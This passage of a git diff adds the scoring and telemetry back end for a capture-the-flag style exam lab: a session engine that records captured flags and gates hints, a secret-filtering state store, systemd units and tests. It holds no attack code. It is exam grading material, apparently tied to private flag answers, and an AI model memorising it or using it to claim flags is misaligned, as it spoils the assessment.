+    hypothesisIds,
+    "hypotheses",
+  );
+  const selectedHypothesisId = storedState.selectedHypothesisId;
+  if (
+    selectedHypothesisId !== null &&
+    !unlockedHypothesisIds.includes(selectedHypothesisId)
+  ) {
+    throw new Error("stored selected hypothesis is not unlocked");
+  }
+
+  const hintUnlocks = {};
+  for (const hypothesisId of unlockedHypothesisIds) {
+    const value = storedState.hintUnlocks?.[hypothesisId] ?? 0;
+    if (!Number.isInteger(value) || value < 0 || value > 3) {
+      throw new Error("stored hint state is invalid");
+    }
+    hintUnlocks[hypothesisId] = value;
+  }
+
+  if (
+    !Array.isArray(storedState.seenEventFingerprints) ||
+    storedState.seenEventFingerprints.some(
+      (value) => typeof value !== "string" || !/^[a-f0-9]{64}$/.test(value),
+    )
+  ) {
+    throw new Error("stored event fingerprints are invalid");
+  }
+  if (
+    !Array.isArray(storedState.recentEvents) ||
+    storedState.recentEvents.some(
+      (event) =>
+        event === null ||
+        typeof event !== "object" ||
+        !routeIds.has(event.routeId) ||
+        !nodeIds.has(event.nodeId) ||
+        typeof event.id !== "string" ||
+        !/^event-\d+$/.test(event.id) ||
+        typeof event.at !== "string" ||
+        !/^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(?:\.\d{3})?Z$/.test(
+          event.at,
+        ) ||
+        Number.isNaN(Date.parse(event.at)),
+    )
+  ) {
+    throw new Error("stored recent events are invalid");
+  }
+
+  return {
+    version: 1,
+    sessionId,
+    revision: storedState.revision,
+    discoveredNodeIds: uniqueKnown(
+      storedState.discoveredNodeIds,
+      nodeIds,
+      "nodes",
+    ),
+    capturedFlagIds: uniqueKnown(
+      storedState.capturedFlagIds,
+      flagIds,
+      "flags",
+    ),
+    unlockedHypothesisIds,
+    selectedHypothesisId,
+    hintUnlocks,
+    seenEventFingerprints: [...new Set(storedState.seenEventFingerprints)],
+    recentEvents: storedState.recentEvents.slice(-MAX_RECENT_EVENTS).map(
+      ({ id, at, routeId, nodeId }) => ({ id, at, routeId, nodeId }),
+    ),
+    telemetryStatus,
+  };
+}
+
+export class SessionEngine extends EventEmitter {
+  constructor({
+    world = WORLD,
+    sessionId,
+    telemetryStatus = "live",
+    storedState = null,
+    now = () => new Date().toISOString(),
+  }) {
+    super();
+    if (
+      typeof sessionId !== "string" ||
+      !/^[A-Za-z0-9][A-Za-z0-9_-]{0,63}$/.test(sessionId)
+    ) {
+      throw new Error("sessionId must be a safe non-empty identifier");
+    }
+    if (!TELEMETRY_STATUSES.has(telemetryStatus)) {
+      throw new Error("unknown telemetry status");
+    }
+    this.world = world;
+    this.now = now;
+    this.routeIndex = buildEventRouteIndex(world);
+    this.nodeIndex = new Map(world.nodes.map((node) => [node.id, node]));
+    this.flagIndex = new Map(world.flags.map((flag) => [flag.id, flag]));
+    this.hypothesisIndex = new Map(
+      world.hypotheses.map((hypothesis) => [hypothesis.id, hypothesis]),
+    );
+    this.state = restoreState(
+      world,
+      sessionId,
+      telemetryStatus,
+      storedState,
+    );
+  }
+
+  getProjection() {
+    return buildProjection(this.world, this.state);
+  }
+
+  exportState() {
+    return structuredClone(this.state);
+  }
+
+  #announceChange() {
+    this.emit("change", this.getProjection());
+  }
+
+  #captureNode(nodeId, { at, routeId }) {
+    const node = this.nodeIndex.get(nodeId);
+    if (!node) throw new Error(`unknown node: ${nodeId}`);
+    let changed = false;
+
+    if (!this.state.discoveredNodeIds.includes(nodeId)) {
+      this.state.discoveredNodeIds.push(nodeId);
+      changed = true;
+    }
+    if (!this.state.capturedFlagIds.includes(node.flagId)) {
+      this.state.capturedFlagIds.push(node.flagId);
+      changed = true;
+    }
+    for (const hypothesisId of node.unlockHypothesisIds) {
+      if (!this.state.unlockedHypothesisIds.includes(hypothesisId)) {
+        this.state.unlockedHypothesisIds.push(hypothesisId);
+        this.state.hintUnlocks[hypothesisId] = 0;
+        changed = true;
+      }
+    }
+
+    if (changed) {
+      this.state.revision += 1;
+      this.state.recentEvents.push({
+        id: `event-${this.state.revision}`,
+        at,
+        routeId,
+        nodeId,
+      });
+      this.state.recentEvents = this.state.recentEvents.slice(
+        -MAX_RECENT_EVENTS,
+      );
+      this.#announceChange();
+    }
+    return changed;
+  }
+
+  applyEvent(input) {
+    const { event, route, fingerprint } = validateEvent(input, {
+      world: this.world,
+      sessionId: this.state.sessionId,
+      routeIndex: this.routeIndex,
+    });
+    if (this.state.telemetryStatus === "unavailable") {
+      return { accepted: true, changed: false, projection: this.getProjection() };
+    }
+    if (this.state.capturedFlagIds.includes("flag-root-common")) {
+      return { accepted: true, changed: false, projection: this.getProjection() };
+    }
+    if (this.state.seenEventFingerprints.includes(fingerprint)) {
+      return { accepted: true, changed: false, projection: this.getProjection() };
+    }
+    if (this.state.discoveredNodeIds.includes(route.nodeId)) {
+      return { accepted: true, changed: false, projection: this.getProjection() };
+    }
+
+    this.state.seenEventFingerprints.push(fingerprint);
+    const changed = this.#captureNode(route.nodeId, {
+      at: event.occurredAt,
+      routeId: route.id,
+    });
+    return { accepted: true, changed, projection: this.getProjection() };
+  }
+
+  selectHypothesis(hypothesisId) {
+    if (!this.state.unlockedHypothesisIds.includes(hypothesisId)) {
+      throw new LabError(
+        "hypothesis_locked",
+        "この仮説は、現在の事実からはまだ選べません。",
+        409,
+      );
+    }
+    if (this.state.selectedHypothesisId === hypothesisId) {
+      return { changed: false, projection: this.getProjection() };
+    }
+    this.state.selectedHypothesisId = hypothesisId;
+    this.state.revision += 1;
+    this.#announceChange();
+    return { changed: true, projection: this.getProjection() };
+  }
+
+  unlockHint(hintId) {
+    if (typeof hintId !== "string") {
+      throw new LabError("invalid_hint", "hint idが不正です。");
+    }
+    const selectedId = this.state.selectedHypothesisId;
+    const hypothesis = this.hypothesisIndex.get(selectedId);
+    const hintIndex = hypothesis?.hints.findIndex(
+      (_hint, index) => `${selectedId}:${index + 1}` === hintId,
+    );
+    if (!hypothesis || hintIndex === -1) {
+      throw new LabError(
+        "hint_not_available",
+        "現在選択している仮説のhintではありません。",
+        409,
+      );
+    }
+
+    const currentCount = this.state.hintUnlocks[selectedId] ?? 0;
+    if (hintIndex < currentCount) {
+      return { changed: false, projection: this.getProjection() };
+    }
+    if (hintIndex !== currentCount) {
+      throw new LabError(
+        "hint_order",
+        "hintは見る場所、使う道具、操作例の順で開きます。",
+        409,
+      );
+    }
+
+    this.state.hintUnlocks[selectedId] = currentCount + 1;
+    this.state.revision += 1;
+    this.#announceChange();
+    return { changed: true, projection: this.getProjection() };
+  }
+
+  setTelemetryStatus(status) {
+    if (!TELEMETRY_STATUSES.has(status)) {
+      throw new Error("unknown telemetry status");
+    }
+    if (this.state.telemetryStatus === status) return false;
+    this.state.telemetryStatus = status;
+    this.state.revision += 1;
+    this.#announceChange();
+    return true;
+  }
+
+  submitManualFlag(candidate) {
+    const rootWasCaptured =
+      this.state.capturedFlagIds.includes("flag-root-common");
+    if (
+      this.state.telemetryStatus !== "unavailable" &&
+      !rootWasCaptured
+    ) {
+      throw new LabError(
+        "manual_fallback_inactive",
+        "自動検出が利用できるため、手動提出は現在使いません。",
+        409,
+      );
+    }
+
+    const flagId = verifyFlagAnswer(candidate);
+    if (!flagId) {
+      return {
+        accepted: false,
+        changed: false,
+        projection: this.getProjection(),
+      };
+    }
+
+    const flag = this.flagIndex.get(flagId);
+    if (
+      this.state.telemetryStatus !== "unavailable" &&
+      flag.manualOnly !== true
+    ) {
+      return {
+        accepted: false,
+        changed: false,
+        projection: this.getProjection(),
+      };
+    }
+    if (
+      flag.manualOnly === true &&
+      !rootWasCaptured
+    ) {
+      return {
+        accepted: false,
+        changed: false,
+        projection: this.getProjection(),
+      };
+    }
+
+    const changed = this.#captureNode(flag.nodeId, {
+      at: this.now(),
+      routeId: "manual.flag.accepted",
+    });
+    return { accepted: true, changed, projection: this.getProjection() };
+  }
+}
diff --git a/labs/open-world-target/telemetry/src/state-store.mjs b/labs/open-world-target/telemetry/src/state-store.mjs
new file mode 100644
index 0000000..d892a82
--- /dev/null
+++ b/labs/open-world-target/telemetry/src/state-store.mjs
@@ -0,0 +1,45 @@
+import { mkdir, readFile, rename, writeFile } from "node:fs/promises";
+import path from "node:path";
+
+export class JsonStateStore {
+  constructor(filePath) {
+    if (!path.isAbsolute(filePath)) {
+      throw new Error("state path must be absolute");
+    }
+    this.filePath = path.resolve(filePath);
+  }
+
+  async load() {
+    try {
+      const contents = await readFile(this.filePath, "utf8");
+      const parsed = JSON.parse(contents);
+      if (parsed === null || typeof parsed !== "object" || Array.isArray(parsed)) {
+        throw new Error("stored state must be an object");
+      }
+      return parsed;
+    } catch (error) {
+      if (error?.code === "ENOENT") return null;
+      throw error;
+    }
+  }
+
+  async save(state) {
+    const serialized = `${JSON.stringify(state, null, 2)}\n`;
+    if (
+      serialized.includes("FLAG{") ||
+      /"(?:authTag|command|parameters?|credential|password|token|fileContents?|rawLog)"\s*:/i.test(
+        serialized,
+      )
+    ) {
+      throw new Error("refusing to persist forbidden telemetry material");
+    }
+
+    await mkdir(path.dirname(this.filePath), { recursive: true });
+    const temporaryPath = `${this.filePath}.tmp-${process.pid}`;
+    await writeFile(temporaryPath, serialized, {
+      encoding: "utf8",
+      mode: 0o600,
+    });
+    await rename(temporaryPath, this.filePath);
+  }
+}
diff --git a/labs/open-world-target/telemetry/src/status-control.mjs b/labs/open-world-target/telemetry/src/status-control.mjs
new file mode 100644
index 0000000..e821aef
--- /dev/null
+++ b/labs/open-world-target/telemetry/src/status-control.mjs
@@ -0,0 +1,29 @@
+export const DETECTOR_STATUS_SIGNALS = Object.freeze({
+  SIGUSR1: "unavailable",
+  SIGUSR2: "live",
+});
+
+export function installDetectorStatusSignals({
+  engine,
+  signalTarget = process,
+}) {
+  const handlers = new Map(
+    Object.entries(DETECTOR_STATUS_SIGNALS).map(([signal, status]) => [
+      signal,
+      () => engine.setTelemetryStatus(status),
+    ]),
+  );
+  for (const [signal, handler] of handlers) {
+    signalTarget.on(signal, handler);
+  }
+
+  return () => {
+    for (const [signal, handler] of handlers) {
+      if (typeof signalTarget.off === "function") {
+        signalTarget.off(signal, handler);
+      } else {
+        signalTarget.removeListener(signal, handler);
+      }
+    }
+  };
+}
diff --git a/labs/open-world-target/telemetry/systemd/open-world-telemetry.service b/labs/open-world-target/telemetry/systemd/open-world-telemetry.service
new file mode 100644
index 0000000..5703cb2
--- /dev/null
+++ b/labs/open-world-target/telemetry/systemd/open-world-telemetry.service
@@ -0,0 +1,29 @@
+[Unit]
+Description=ExamServer open-world target telemetry
+Requires=open-world-telemetry.socket
+After=network.target open-world-telemetry.socket
+PartOf=open-world-vulnerable.target
+
+[Service]
+Type=simple
+User=lab-telemetry
+Group=lab-telemetry
+SupplementaryGroups=lab-events
+EnvironmentFile=/etc/examserver-open-world/session.env
+Environment=LAB_HTTP_HOST=10.13.37.10
+Environment=LAB_HTTP_PORT=8787
+Environment=LAB_STATE_PATH=/var/lib/examserver-open-world/telemetry-state.json
+ExecStart=/usr/bin/node /opt/examserver/open-world/telemetry/bin/server.mjs
+Restart=on-failure
+RestartSec=2
+UMask=0027
+NoNewPrivileges=yes
+PrivateDevices=yes
+PrivateTmp=yes
+ProtectHome=yes
+ProtectSystem=strict
+ReadWritePaths=/var/lib/examserver-open-world
+RestrictAddressFamilies=AF_UNIX AF_INET
+
+[Install]
+WantedBy=multi-user.target
diff --git a/labs/open-world-target/telemetry/systemd/open-world-telemetry.socket b/labs/open-world-target/telemetry/systemd/open-world-telemetry.socket
new file mode 100644
index 0000000..db4cd1b
--- /dev/null
+++ b/labs/open-world-target/telemetry/systemd/open-world-telemetry.socket
@@ -0,0 +1,14 @@
+[Unit]
+Description=ExamServer open-world allowlisted event socket
+PartOf=open-world-vulnerable.target
+
+[Socket]
+ListenStream=/run/examserver-open-world/events.sock
+SocketUser=root
+SocketGroup=lab-events
+SocketMode=0660
+DirectoryMode=0750
+RemoveOnStop=yes
+
+[Install]
+WantedBy=sockets.target
diff --git a/labs/open-world-target/telemetry/tests/emit-event.test.mjs b/labs/open-world-target/telemetry/tests/emit-event.test.mjs
new file mode 100644
index 0000000..122151f
--- /dev/null
+++ b/labs/open-world-target/telemetry/tests/emit-event.test.mjs
@@ -0,0 +1,160 @@
+import assert from "node:assert/strict";
+import { spawn } from "node:child_process";
+import { mkdtemp, rm, writeFile } from "node:fs/promises";
+import net from "node:net";
+import os from "node:os";
+import path from "node:path";
+import { fileURLToPath } from "node:url";
+import test from "node:test";
+
+import { WORLD } from "../../world/world-definition.mjs";
+import {
+  createEventIngestServer,
+  listenForEvents,
+} from "../src/ingest-server.mjs";
+import { SessionEngine } from "../src/session-engine.mjs";
+
+const testDirectory = path.dirname(fileURLToPath(import.meta.url));
+const emitterPath = path.resolve(testDirectory, "../bin/emit-event.mjs");
+
+function runEmitter(route, environment) {
+  return new Promise((resolve, reject) => {
+    const child = spawn(
+      process.execPath,
+      [
+        emitterPath,
+        "--kind",
+        route.kind,
+        "--node",
+        route.nodeId,
+        "--source",
+        route.sourceId,
+        "--evidence",
+        route.evidenceCode,
+        "--at",
+        "2026-07-27T00:00:00.000Z",
+      ],
+      {
+        env: { ...process.env, ...environment },
+        stdio: ["ignore", "pipe", "pipe"],
+      },
+    );
+    let stdout = "";
+    let stderr = "";
+    child.stdout.setEncoding("utf8");
+    child.stderr.setEncoding("utf8");
+    child.stdout.on("data", (chunk) => {
+      stdout += chunk;
+    });
+    child.stderr.on("data", (chunk) => {
+      stderr += chunk;
+    });
+    child.on("error", reject);
+    child.on("close", (code) => resolve({ code, stdout, stderr }));
+  });
+}
+
+test("event emitter selects the source-scoped key file and never prints authentication material", async (context) => {
+  const temporaryRoot = await mkdtemp(
+    path.join(os.tmpdir(), "open-world-emitter-"),
+  );
+  context.after(() => rm(temporaryRoot, { recursive: true, force: true }));
+  const lowText = "low-emitter-test-key-at-least-32-bytes";
+  const rootText = "root-emitter-test-key-at-least-32-bytes";
+  const lowPath = path.join(temporaryRoot, "low.key");
+  const rootPath = path.join(temporaryRoot, "root.key");
+  await writeFile(lowPath, `${lowText}\n`, "utf8");
+  await writeFile(rootPath, `${rootText}\n`, "utf8");
+
+  const socketPath =
+    process.platform === "win32"
+      ? `\\\\.\\pipe\\open-world-emitter-${process.pid}-${Date.now()}`
+      : path.join(temporaryRoot, "events.sock");
+  const engine = new SessionEngine({ sessionId: "emitter" });
+  const server = createEventIngestServer({
+    engine,
+    eventKeys: {
+      low: Buffer.from(lowText, "utf8"),
+      root: Buffer.from(rootText, "utf8"),
+    },
+  });
+  await listenForEvents(server, { socketPath });
+  context.after(
+    () =>
+      new Promise((resolve) => {
+        server.close(resolve);
+      }),
+  );
+
+  const environment = {
+    LAB_SESSION_ID: "emitter",
+    LAB_EVENT_SOCKET: socketPath,
+    LAB_EVENT_LOW_KEY_FILE: lowPath,
+    LAB_EVENT_ROOT_KEY_FILE: rootPath,
+  };
+  const lowRoute = WORLD.eventRoutes.find(
+    (route) => route.id === "event-entry-web",
+  );
+  const rootRoute = WORLD.eventRoutes.find(
+    (route) => route.id === "event-foothold-sales",
+  );
+
+  const lowResult = await runEmitter(lowRoute, environment);
+  assert.equal(lowResult.code, 0);
+  assert.match(lowResult.stdout, /accepted=true changed=true revision=1/);
+
+  const rootResult = await runEmitter(rootRoute, environment);
+  assert.equal(rootResult.code, 0);
+  assert.match(rootResult.stdout, /accepted=true changed=true revision=2/);
+
+  const forgedRootResult = await runEmitter(rootRoute, {
+    ...environment,
+    LAB_EVENT_ROOT_KEY_FILE: lowPath,
+  });
+  assert.equal(forgedRootResult.code, 1);
+  assert.match(forgedRootResult.stderr, /event_auth_failed/);
+
+  const silentSocketPath =
+    process.platform === "win32"
+      ? `\\\\.\\pipe\\open-world-silent-${process.pid}-${Date.now()}`
+      : path.join(temporaryRoot, "silent-events.sock");
+  const silentServer = net.createServer((socket) => {
+    socket.on("data", () => {});
+  });
+  await new Promise((resolve, reject) => {
+    silentServer.once("error", reject);
+    silentServer.listen(silentSocketPath, () => {
+      silentServer.off("error", reject);
+      resolve();
+    });
+  });
+  context.after(
+    () =>
+      new Promise((resolve) => {
+        silentServer.close(resolve);
+      }),
+  );
+  const silentStartedAt = Date.now();
+  const silentResult = await runEmitter(lowRoute, {
+    ...environment,
+    LAB_EVENT_SOCKET: silentSocketPath,
+  });
+  const silentElapsed = Date.now() - silentStartedAt;
+  assert.equal(silentResult.code, 1);
+  assert.match(silentResult.stderr, /telemetry daemon timed out/);
+  assert.ok(silentElapsed >= 1_000 && silentElapsed < 4_000);
+
+  const combinedOutput =
+    lowResult.stdout +
+    lowResult.stderr +
+    rootResult.stdout +
+    rootResult.stderr +
+    forgedRootResult.stdout +
+    forgedRootResult.stderr +
+    silentResult.stdout +
+    silentResult.stderr;
+  assert.ok(!combinedOutput.includes(lowText));
+  assert.ok(!combinedOutput.includes(rootText));
+  assert.ok(!/[a-f0-9]{64}/.test(combinedOutput));
+  assert.equal(engine.getProjection().progress.discovered, 2);
+});
diff --git a/labs/open-world-target/telemetry/tests/event-auth.test.mjs b/labs/open-world-target/telemetry/tests/event-auth.test.mjs
new file mode 100644
index 0000000..4d23dfe
--- /dev/null
+++ b/labs/open-world-target/telemetry/tests/event-auth.test.mjs
@@ -0,0 +1,130 @@
+import assert from "node:assert/strict";
+import { mkdtemp, readFile, rm } from "node:fs/promises";
+import os from "node:os";
+import path from "node:path";
+import test from "node:test";
+
+import { WORLD } from "../../world/world-definition.mjs";
+import {
+  authenticateWireEvent,
+  EVENT_SOURCE_SCOPES,
+  signEvent,
+  sourceScope,
+} from "../src/event-auth.mjs";
+import { SessionEngine } from "../src/session-engine.mjs";
+import { JsonStateStore } from "../src/state-store.mjs";
+
+const keys = Object.freeze({
+  low: Buffer.from("low-auth-test-key-at-least-32-bytes", "utf8"),
+  root: Buffer.from("root-auth-test-key-at-least-32-bytes", "utf8"),
+});
+
+function eventFor(routeId, sessionId = "auth") {
+  const route = WORLD.eventRoutes.find((candidate) => candidate.id === routeId);
+  assert.ok(route);
+  return {
+    sessionId,
+    kind: route.kind,
+    nodeId: route.nodeId,
+    sourceId: route.sourceId,
+    evidenceCode: route.evidenceCode,
+    occurredAt: "2026-07-27T00:00:00.000Z",
+  };
+}
+
+function wire(event, key) {
+  return { ...event, authTag: signEvent(event, key) };
+}
+
+test("every world event source has an explicit low or root trust scope", () => {
+  for (const route of WORLD.eventRoutes) {
+    assert.ok(
+      ["low", "root"].includes(sourceScope(route.sourceId)),
+      `missing source scope for ${route.sourceId}`,
+    );
+  }
+  assert.equal(EVENT_SOURCE_SCOPES["apache2.service"], "low");
+  assert.equal(EVENT_SOURCE_SCOPES["smbd.service"], "low");
+  assert.equal(EVENT_SOURCE_SCOPES["ssh.service"], "root");
+  assert.equal(EVENT_SOURCE_SCOPES["open-world-file-watch.service"], "root");
+  assert.equal(EVENT_SOURCE_SCOPES["auditd.service"], undefined);
+});
+
+test("valid low-trust and root-trust wire events authenticate and strip the tag", () => {
+  const lowEvent = eventFor("event-entry-web");
+  const rootEvent = eventFor("event-foothold-sales");
+  const authenticatedLow = authenticateWireEvent(wire(lowEvent, keys.low), keys);
+  const authenticatedRoot = authenticateWireEvent(
+    wire(rootEvent, keys.root),
+    keys,
+  );
+  assert.deepEqual(authenticatedLow, lowEvent);
+  assert.deepEqual(authenticatedRoot, rootEvent);
+  assert.ok(!Object.hasOwn(authenticatedLow, "authTag"));
+  assert.ok(!Object.hasOwn(authenticatedRoot, "authTag"));
+});
+
+test("missing, wrong, and low-key-for-root tags are rejected identically", () => {
+  const rootRoutes = WORLD.eventRoutes.filter(
+    (route) => sourceScope(route.sourceId) === "root",
+  );
+  assert.ok(rootRoutes.length >= 6);
+  for (const route of rootRoutes) {
+    const event = eventFor(route.id);
+    assert.throws(
+      () => authenticateWireEvent(wire(event, keys.low), keys),
+      (error) => error.code === "event_auth_failed" && error.status === 403,
+    );
+  }
+
+  const lowEvent = eventFor("event-entry-web");
+  assert.throws(
+    () => authenticateWireEvent(lowEvent, keys),
+    (error) => error.code === "event_auth_failed",
+  );
+  assert.throws(
+    () =>
+      authenticateWireEvent(
+        { ...lowEvent, authTag: "0".repeat(64) },
+        keys,
+      ),
+    (error) => error.code === "event_auth_failed",
+  );
+});
+
+test("authentication tags never enter projection or persisted state", async (context) => {
+  const event = eventFor("event-entry-smb", "auth-persistence");
+  const tag = signEvent(event, keys.low);
+  const authenticated = authenticateWireEvent(
+    { ...event, authTag: tag },
+    keys,
+  );
+  const engine = new SessionEngine({ sessionId: "auth-persistence" });
+  engine.applyEvent(authenticated);
+
+  const forbiddenMaterial = [
+    tag,
+    keys.low.toString("utf8"),
+    keys.root.toString("utf8"),
+  ];
+  for (const material of forbiddenMaterial) {
+    assert.ok(!JSON.stringify(engine.getProjection()).includes(material));
+    assert.ok(!JSON.stringify(engine.exportState()).includes(material));
+  }
+
+  const temporaryRoot = await mkdtemp(
+    path.join(os.tmpdir(), "open-world-auth-state-"),
+  );
+  context.after(() => rm(temporaryRoot, { recursive: true, force: true }));
+  const statePath = path.join(temporaryRoot, "state.json");
+  const store = new JsonStateStore(statePath);
+  await store.save(engine.exportState());
+  const persisted = await readFile(statePath, "utf8");
+  for (const material of forbiddenMaterial) {
+    assert.ok(!persisted.includes(material));
+  }
+  await assert.rejects(
+    store.save({ sessionId: "bad", authTag: tag }),
+    /forbidden telemetry material/,
+  );
+});
diff --git a/labs/open-world-target/telemetry/tests/http-api.test.mjs b/labs/open-world-target/telemetry/tests/http-api.test.mjs
new file mode 100644
index 0000000..c4de722
--- /dev/null
+++ b/labs/open-world-target/telemetry/tests/http-api.test.mjs
@@ -0,0 +1,250 @@
+import assert from "node:assert/strict";
+import { EventEmitter } from "node:events";
+import test from "node:test";
+
+import {
+  getPrivateFlagAnswer,
+} from "../../world/private-answers.mjs";
+import { WORLD } from "../../world/world-definition.mjs";
+import { createLabHttpServer } from "../src/http-server.mjs";
+import { SessionEngine } from "../src/session-engine.mjs";
+import { installDetectorStatusSignals } from "../src/status-control.mjs";
+
+const BRIDGE_TOKEN = "telemetry-test-token-".padEnd(40, "t");
+
+function eventFor(routeId, sessionId) {
+  const route = WORLD.eventRoutes.find((candidate) => candidate.id === routeId);
+  return {
+    sessionId,
+    kind: route.kind,
+    nodeId: route.nodeId,
+    sourceId: route.sourceId,
+    evidenceCode: route.evidenceCode,
+    occurredAt: "2026-07-27T00:00:00.000Z",
+  };
+}
+
+async function startApi(context, engine) {
+  const server = createLabHttpServer({
+    engine,
+    bridgeToken: BRIDGE_TOKEN,
+  });
+  await new Promise((resolve, reject) => {
+    server.once("error", reject);
+    server.listen(0, "127.0.0.1", () => {
+      server.off("error", reject);
+      resolve();
+    });
+  });
+  context.after(
+    () =>
+      new Promise((resolve) => {
+        server.close(resolve);
+      }),
+  );
+  const address = server.address();
+  return `http://127.0.0.1:${address.port}`;
+}
+
+function bridgeFetch(url, init = {}) {
+  return fetch(url, {
+    ...init,
+    headers: {
+      ...init.headers,
+      authorization: `Bearer ${BRIDGE_TOKEN}`,
+    },
+  });
+}
+
+async function readSseFrame(reader, expectedText) {
+  const decoder = new TextDecoder();
+  let received = "";
+  for (let attempt = 0; attempt < 8; attempt += 1) {
+    const result = await Promise.race([
+      reader.read(),
+      new Promise((_, reject) =>
+        setTimeout(() => reject(new Error("timed out waiting for SSE")), 2000),
+      ),
+    ]);
+    if (result.done) break;
+    received += decoder.decode(result.value, { stream: true });
+    if (received.includes(expectedText) && received.includes("\n\n")) {
+      return received;
+    }
+  }
+  throw new Error(`SSE frame did not contain ${expectedText}: ${received}`);
+}
+
+test("target APIs require a secret-safe Bridge bearer token", async (context) => {
+  const engine = new SessionEngine({ sessionId: "http-auth" });
+  const baseUrl = await startApi(context, engine);
+
+  let response = await fetch(`${baseUrl}/healthz`);
+  assert.equal(response.status, 200);
+
+  response = await fetch(`${baseUrl}/api/session/state`);
+  assert.equal(response.status, 401);
+  let text = await response.text();
+  assert.match(text, /unauthorized/);
+  assert.ok(!text.includes(BRIDGE_TOKEN));
+
+  const wrongToken = "wrong-telemetry-token-".padEnd(40, "w");
+  response = await fetch(`${baseUrl}/api/session/state`, {
+    headers: { authorization: `Bearer ${wrongToken}` },
+  });
+  assert.equal(response.status, 401);
+  text = await response.text();
+  assert.ok(!text.includes(wrongToken));
+  assert.ok(!text.includes(BRIDGE_TOKEN));
+});
+
+test("GET state and POST hypothesis/hint APIs return the stable projection", async (context) => {
+  const engine = new SessionEngine({ sessionId: "http-state" });
+  const baseUrl = await startApi(context, engine);
+
+  let response = await bridgeFetch(`${baseUrl}/api/session/state`);
+  assert.equal(response.status, 200);
+  assert.match(response.headers.get("content-type"), /^application\/json/);
+  assert.equal(response.headers.get("cache-control"), "no-store");
+  let state = await response.json();
+  assert.equal(state.sessionId, "http-state");
+  assert.equal(state.progress.total, 14);
+
+  engine.applyEvent(eventFor("event-entry-web", "http-state"));
+  response = await bridgeFetch(
+    `${baseUrl}/api/session/hypotheses/hyp-web-input-boundary/select`,
+    {
+      method: "POST",
+      headers: { "content-type": "application/json" },
+      body: "{}",
+    },
+  );
+  assert.equal(response.status, 200);
+  state = await response.json();
+  assert.equal(
+    state.hypotheses.find(
+      (hypothesis) => hypothesis.id === "hyp-web-input-boundary",
+    ).selected,
+    true,
+  );
+
+  response = await bridgeFetch(
+    `${baseUrl}/api/session/hints/hyp-web-input-boundary%3A1/unlock`,
+    {
+      method: "POST",
+      headers: { "content-type": "application/json" },
+      body: "{}",
+    },
+  );
+  assert.equal(response.status, 200);
+  state = await response.json();
+  assert.equal(state.hints[0].state, "unlocked");
+  assert.match(state.hints[0].body, /診断対象/);
+});
+
+test("manual flag endpoint is generic, privacy-bounded, and available on fallback", async (context) => {
+  const engine = new SessionEngine({
+    sessionId: "http-manual",
+    telemetryStatus: "unavailable",
+  });
+  const baseUrl = await startApi(context, engine);
+  const answer = getPrivateFlagAnswer("flag-entry-nfs");
+
+  let response = await bridgeFetch(`${baseUrl}/api/session/flags/submit`, {
+    method: "POST",
+    headers: { "content-type": "application/json" },
+    body: JSON.stringify({ flag: answer, command: "do-not-store" }),
+  });
+  assert.equal(response.status, 400);
+  let text = await response.text();
+  assert.ok(!text.includes(answer));
+  assert.ok(!text.includes("do-not-store"));
+
+  response = await bridgeFetch(`${baseUrl}/api/session/flags/submit`, {
+    method: "POST",
+    headers: { "content-type": "application/json" },
+    body: JSON.stringify({ flag: answer }),
+  });
+  assert.equal(response.status, 200);
+  const result = await response.json();
+  assert.equal(result.accepted, true);
+  assert.equal(result.state.progress.discovered, 1);
+  assert.ok(!JSON.stringify(result).includes(answer));
+
+  response = await bridgeFetch(`${baseUrl}/api/session/flags/submit`, {
+    method: "POST",
+    headers: { "content-type": "application/json" },
+    body: JSON.stringify({ flag: "FLAG{wrong}" }),
+  });
+  assert.equal(response.status, 200);
+  const rejected = await response.json();
+  assert.equal(rejected.accepted, false);
+  assert.match(rejected.message, /確認できません/);
+  assert.equal(rejected.state.progress.discovered, 1);
+});
+
+test("SSE sends a full initial snapshot, broadcasts changes, and snapshots on reconnect", async (context) => {
+  const engine = new SessionEngine({ sessionId: "http-sse" });
+  const baseUrl = await startApi(context, engine);
+  const firstAbort = new AbortController();
+  const response = await bridgeFetch(`${baseUrl}/api/session/events`, {
+    signal: firstAbort.signal,
+  });
+  assert.equal(response.status, 200);
+  assert.match(response.headers.get("content-type"), /^text\/event-stream/);
+  const reader = response.body.getReader();
+  const initial = await readSseFrame(reader, '"revision":0');
+  assert.match(initial, /event: state/);
+  assert.match(initial, /retry: 2000/);
+
+  engine.applyEvent(eventFor("event-entry-smb", "http-sse"));
+  const changed = await readSseFrame(reader, '"revision":1');
+  assert.match(changed, /匿名で読める引き継ぎ共有/);
+  await reader.cancel();
+  firstAbort.abort();
+
+  const reconnectAbort = new AbortController();
+  const reconnectResponse = await bridgeFetch(`${baseUrl}/api/session/events`, {
+    headers: { "Last-Event-ID": "1" },
+    signal: reconnectAbort.signal,
+  });
+  const reconnectReader = reconnectResponse.body.getReader();
+  const reconnect = await readSseFrame(reconnectReader, '"revision":1');
+  assert.match(reconnect, /: reconnect-after 1/);
+  assert.match(reconnect, /event: state/);
+  await reconnectReader.cancel();
+  reconnectAbort.abort();
+});
+
+test("root-controlled detector signals switch fallback while the HTTP API stays alive", async (context) => {
+  const engine = new SessionEngine({ sessionId: "http-status-control" });
+  const signalTarget = new EventEmitter();
+  const removeSignals = installDetectorStatusSignals({
+    engine,
+    signalTarget,
+  });
+  context.after(removeSignals);
+  const baseUrl = await startApi(context, engine);
+
+  signalTarget.emit("SIGUSR1");
+  let response = await bridgeFetch(`${baseUrl}/api/session/state`);
+  assert.equal(response.status, 200);
+  let state = await response.json();
+  assert.equal(state.telemetry.status, "unavailable");
+
+  response = await bridgeFetch(`${baseUrl}/api/session/flags/submit`, {
+    method: "POST",
+    headers: { "content-type": "application/json" },
+    body: JSON.stringify({
+      flag: getPrivateFlagAnswer("flag-entry-web"),
+    }),
+  });
+  assert.equal(response.status, 200);
+  assert.equal((await response.json()).accepted, true);
+
+  signalTarget.emit("SIGUSR2");
+  response = await bridgeFetch(`${baseUrl}/api/session/state`);
+  assert.equal(response.status, 200);
+  state = await response.json();
+  assert.equal(state.telemetry.status, "live");
+});
diff --git a/labs/open-world-target/telemetry/tests/ingest-server.test.mjs b/labs/open-world-target/telemetry/tests/ingest-server.test.mjs
new file mode 100644
index 0000000..d0b70ea
--- /dev/null
+++ b/labs/open-world-target/telemetry/tests/ingest-server.test.mjs
@@ -0,0 +1,184 @@
+import assert from "node:assert/strict";
+import { mkdtemp, rm } from "node:fs/promises";
+import net from "node:net";
+import os from "node:os";
+import path from "node:path";
+import test from "node:test";
+
